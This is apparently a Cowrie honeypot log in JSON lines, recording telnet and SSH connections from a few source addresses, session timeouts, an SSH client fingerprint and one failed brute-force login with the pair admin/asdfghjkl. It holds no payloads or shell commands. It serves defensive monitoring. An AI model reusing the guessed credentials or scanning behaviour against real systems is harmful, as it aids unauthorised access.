{"eventid":"cowrie.session.closed","duration":30.71686577796936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:16.942057Z","src_ip":"46.4.133.15","session":"deacb2f5ae4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.790537118911743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:17.052303Z","src_ip":"185.116.212.16","session":"90216512677b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65753746032715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:17.072575Z","src_ip":"185.116.212.16","session":"eda7be74f9fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.766772985458374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:17.112855Z","src_ip":"185.116.212.16","session":"728eb79c74ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.891560792922974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:17.206528Z","src_ip":"185.116.212.16","session":"49530d8e1c48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839761972427368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:17.239817Z","src_ip":"185.116.212.16","session":"3beb01b95397","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972132682800293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:17.254024Z","src_ip":"185.116.212.16","session":"b3d9becbc76b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":39598,"dst_ip":"10.17.0.5","dst_port":23,"session":"54bd5b532c0f","protocol":"telnet","message":"New connection: 46.4.133.15:39598 (10.17.0.5:23) [session: 54bd5b532c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:17.301516Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":40715,"dst_ip":"10.17.0.5","dst_port":23,"session":"93b71ce6c801","protocol":"telnet","message":"New connection: 46.4.133.15:40715 (10.17.0.5:23) [session: 93b71ce6c801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:17.563248Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":41022,"dst_ip":"10.17.0.5","dst_port":23,"session":"a72bdf5ad102","protocol":"telnet","message":"New connection: 46.4.133.15:41022 (10.17.0.5:23) [session: a72bdf5ad102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:17.660737Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":41188,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6c3f520d639","protocol":"telnet","message":"New connection: 46.4.133.15:41188 (10.17.0.5:23) [session: c6c3f520d639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:17.726179Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37342,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ae270861d9e","protocol":"ssh","message":"New connection: 159.203.92.129:37342 (159.203.135.109:22) [session: 8ae270861d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:17.745383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:17.750643Z","src_ip":"159.203.92.129","session":"8ae270861d9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:17.756792Z","src_ip":"159.203.92.129","session":"8ae270861d9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"asdfghjkl","message":"login attempt [admin/asdfghjkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:17.770210Z","src_ip":"159.203.92.129","session":"8ae270861d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85982871055603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:18.000816Z","src_ip":"46.4.133.15","session":"7acebf24de9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099777936935425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:18.053601Z","src_ip":"46.4.133.15","session":"ce7560e13709","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948864459991455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:18.085894Z","src_ip":"185.116.212.16","session":"e6144859f87a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":42284,"dst_ip":"10.17.0.5","dst_port":23,"session":"62f3e417fcc3","protocol":"telnet","message":"New connection: 46.4.133.15:42284 (10.17.0.5:23) [session: 62f3e417fcc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:18.119611Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":38820,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e2bf4d18929","protocol":"telnet","message":"New connection: 46.4.133.15:38820 (10.17.0.5:23) [session: 5e2bf4d18929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:18.157288Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:18.779756Z","src_ip":"159.203.92.129","session":"8ae270861d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.87582802772522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:19.084554Z","src_ip":"185.116.212.16","session":"fb17856b72ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":45442,"dst_ip":"10.17.0.5","dst_port":23,"session":"90568cefe277","protocol":"telnet","message":"New connection: 46.4.133.15:45442 (10.17.0.5:23) [session: 90568cefe277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:19.162420Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":45758,"dst_ip":"10.17.0.5","dst_port":23,"session":"0483f19f820d","protocol":"telnet","message":"New connection: 46.4.133.15:45758 (10.17.0.5:23) [session: 0483f19f820d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:19.215066Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":38540,"dst_ip":"10.17.0.5","dst_port":23,"session":"68d8e7eac0e9","protocol":"telnet","message":"New connection: 185.116.212.16:38540 (10.17.0.5:23) [session: 68d8e7eac0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:19.330643Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":46318,"dst_ip":"10.17.0.5","dst_port":23,"session":"71bd750a98e7","protocol":"telnet","message":"New connection: 46.4.133.15:46318 (10.17.0.5:23) [session: 71bd750a98e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:19.335619Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":50044,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c94a4a8141a","protocol":"telnet","message":"New connection: 187.45.176.130:50044 (10.17.0.5:23) [session: 1c94a4a8141a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:19.349739Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":46444,"dst_ip":"10.17.0.5","dst_port":23,"session":"64fe227e5715","protocol":"telnet","message":"New connection: 46.4.133.15:46444 (10.17.0.5:23) [session: 64fe227e5715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:19.363184Z"}
{"eventid":"cowrie.session.closed","duration":31.268205165863037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:19.493995Z","src_ip":"185.116.212.16","session":"008d7b7cb26e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.362295627593994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:19.675352Z","src_ip":"185.116.212.16","session":"8e2e0917d04a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.354690313339233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:20.025583Z","src_ip":"46.4.133.15","session":"e89826783da9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":48384,"dst_ip":"10.17.0.5","dst_port":23,"session":"46eda734859e","protocol":"telnet","message":"New connection: 46.4.133.15:48384 (10.17.0.5:23) [session: 46eda734859e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:20.160198Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":48646,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcfdc1395f13","protocol":"telnet","message":"New connection: 46.4.133.15:48646 (10.17.0.5:23) [session: dcfdc1395f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:20.224288Z"}
{"eventid":"cowrie.session.closed","duration":31.018309354782104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:20.259970Z","src_ip":"185.116.212.16","session":"afdc034be4fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":50046,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e26216c78de","protocol":"telnet","message":"New connection: 187.45.176.130:50046 (10.17.0.5:23) [session: 6e26216c78de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:20.351924Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":40909,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9b453081bca","protocol":"telnet","message":"New connection: 185.116.212.16:40909 (10.17.0.5:23) [session: c9b453081bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:20.365046Z"}
{"eventid":"cowrie.session.closed","duration":31.600739002227783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:20.582381Z","src_ip":"185.116.212.16","session":"26313b98fd3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":50046,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7aeb9fcf834","protocol":"telnet","message":"New connection: 46.4.133.15:50046 (10.17.0.5:23) [session: d7aeb9fcf834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:20.711014Z"}
{"eventid":"cowrie.session.closed","duration":31.601930856704712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:20.816873Z","src_ip":"185.116.212.16","session":"7d015a78ab96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":41181,"dst_ip":"10.17.0.5","dst_port":23,"session":"60a1267214d2","protocol":"telnet","message":"New connection: 185.116.212.16:41181 (10.17.0.5:23) [session: 60a1267214d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:20.830822Z"}
{"eventid":"cowrie.session.closed","duration":30.746031999588013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:20.949939Z","src_ip":"46.4.133.15","session":"99eb1826fe76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80242371559143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:20.991120Z","src_ip":"46.4.133.15","session":"90d1132a1bce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941987991333008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:21.038444Z","src_ip":"46.4.133.15","session":"834d68b8086c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858742475509644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:21.140434Z","src_ip":"185.116.212.16","session":"75b1c56ff405","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":50058,"dst_ip":"10.17.0.5","dst_port":23,"session":"813084b69f94","protocol":"telnet","message":"New connection: 187.45.176.130:50058 (10.17.0.5:23) [session: 813084b69f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:21.209249Z"}
{"eventid":"cowrie.session.closed","duration":31.104374408721924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:21.229923Z","src_ip":"46.4.133.15","session":"166755da0efb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":51648,"dst_ip":"10.17.0.5","dst_port":23,"session":"71800222438b","protocol":"telnet","message":"New connection: 46.4.133.15:51648 (10.17.0.5:23) [session: 71800222438b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:21.254978Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":52100,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6dcc069d302","protocol":"telnet","message":"New connection: 46.4.133.15:52100 (10.17.0.5:23) [session: c6dcc069d302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:21.349187Z"}
{"eventid":"cowrie.session.closed","duration":31.104463815689087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:21.573633Z","src_ip":"185.116.212.16","session":"910aa78f569d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.677071809768677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:21.963388Z","src_ip":"185.116.212.16","session":"8a64dfc61226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":53908,"dst_ip":"10.17.0.5","dst_port":23,"session":"d932707fb14f","protocol":"telnet","message":"New connection: 46.4.133.15:53908 (10.17.0.5:23) [session: d932707fb14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:22.037806Z"}
{"eventid":"cowrie.session.closed","duration":30.799436807632446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:22.104108Z","src_ip":"185.116.212.16","session":"3acc51c29f74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.875954151153564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:22.109536Z","src_ip":"185.116.212.16","session":"b1d8d7d66ca4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836238145828247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:22.124804Z","src_ip":"185.116.212.16","session":"539bd910f8c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822997093200684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:22.164088Z","src_ip":"185.116.212.16","session":"4bd7364ed8e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3304545879364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:22.175823Z","src_ip":"185.116.212.16","session":"5c2a6b3da7f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.901732444763184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:22.422414Z","src_ip":"185.116.212.16","session":"7bdc38680396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.707371950149536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:22.485379Z","src_ip":"185.116.212.16","session":"b80b7a56e03c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.868576049804688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:22.989901Z","src_ip":"46.4.133.15","session":"6bd13d68843f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85904312133789,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:23.015187Z","src_ip":"46.4.133.15","session":"57680736db25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.543064832687378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:23.052540Z","src_ip":"185.116.212.16","session":"a5be02850e05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85926365852356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:23.072804Z","src_ip":"185.116.212.16","session":"a7730846bfbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":57476,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d8141e6374e","protocol":"telnet","message":"New connection: 46.4.133.15:57476 (10.17.0.5:23) [session: 0d8141e6374e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:23.117866Z"}
{"eventid":"cowrie.session.closed","duration":31.11800456047058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:23.235547Z","src_ip":"187.45.176.130","session":"2c3e76abbd9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":59490,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c9a4c64766d","protocol":"telnet","message":"New connection: 46.4.133.15:59490 (10.17.0.5:23) [session: 7c9a4c64766d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:23.686219Z"}
{"eventid":"cowrie.session.closed","duration":30.78145146369934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:23.961262Z","src_ip":"46.4.133.15","session":"57586b4e5e91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.742269039154053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:24.022267Z","src_ip":"185.116.212.16","session":"e4a7df6ceb83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892890453338623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:24.036100Z","src_ip":"46.4.133.15","session":"4fe1044a02da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.11143493652344,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:24.294811Z","src_ip":"185.116.212.16","session":"b95caf7ec2d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.189985752105713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:24.662262Z","src_ip":"185.116.212.16","session":"18197c8975cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.75260090827942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:24.855670Z","src_ip":"185.116.212.16","session":"04d842f14441","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76064896583557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:25.011377Z","src_ip":"46.4.133.15","session":"49b20ae94e70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.831398248672485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:25.016721Z","src_ip":"46.4.133.15","session":"dd4439ae5d6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90599226951599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:25.048447Z","src_ip":"185.116.212.16","session":"807f589c632b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.489072799682617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:25.062671Z","src_ip":"185.116.212.16","session":"ff3af2212fc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.409436225891113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:25.067168Z","src_ip":"185.116.212.16","session":"02fe9746fc8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84701919555664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:25.072737Z","src_ip":"185.116.212.16","session":"550c09e52803","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.707635164260864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:25.953151Z","src_ip":"46.4.133.15","session":"bb68f3d113b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03695011138916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:25.974853Z","src_ip":"185.116.212.16","session":"9cdc65b7cd86","protocol":"telnet"}
